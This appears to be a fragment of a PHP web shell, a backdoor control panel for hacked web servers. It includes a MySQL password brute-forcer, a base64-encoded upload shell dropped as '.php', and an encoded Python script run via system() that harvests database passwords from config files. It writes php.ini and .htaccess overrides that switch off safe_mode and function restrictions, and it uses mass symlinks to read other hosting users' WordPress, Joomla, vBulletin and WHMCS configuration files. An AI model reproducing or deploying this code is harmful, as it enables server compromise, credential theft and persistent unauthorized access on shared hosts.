$mail_to = $_POST['mail_to'];
$mail_from = $_POST['mail_from'];
$mail_subject = $_POST['mail_subject'];
$mail_content = magicboom($_POST['mail_content']);
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
$msg = "email sent to $mail_to";
}
else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /> mail to</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /> from</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td> <?php echo $msg; ?></td></tr>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
@ob_start();
eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"<body>")+6;
$akhir = strpos($buff,"</body>");
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
if(is_file($_GET['view'])){
if(!isset($file)) $file = magicboom($_GET['view']);
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
<form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
</form>
</td></tr>
<tr><td>Size</td><td>".ukuran($file)."</td></tr>
<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
<tr><td>Owner</td><td>".$owner."</td></tr>
<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
<tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
<tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
</table>
";
if(isset($_GET['type']) && ($_GET['type']=='image')){
echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
}
elseif(isset($_GET['type']) && ($_GET['type']=='code')){
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
}
else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
}
}
elseif(is_dir($_GET['view'])){
echo showdir($pwd,$prompt);
}
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
if(isset($_POST['save'])){
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w")){
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
else $msg = "failed to save";
@fclose($filez);
}
else $msg = "permission denied";
}
if(!isset($file)) $file = $_GET['edit'];
if($filez = @fopen($file,"r")){
$content = "";
while(!feof($filez)){
$content .= htmlentities(str_replace("''","'",fgets($filez)));
}
@fclose($filez);
}
?>
<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
<?php
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'bye!';
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
<?php
//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By X'1n73ct
*/
@set_time_limit(0);
@error_reporting(0);
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){
$e = explode("
",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "X'1n73ct~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by x'1n73ct</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
//mail("[email protected]","Teamroot Bruteforce","IP : $i
| Host : $h
| Dir : $dir
");
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['mendapatkan']=='passwd'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$fn = $_POST['foldername'];
//all function here
function syml($usern,$pdomain)
{
symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
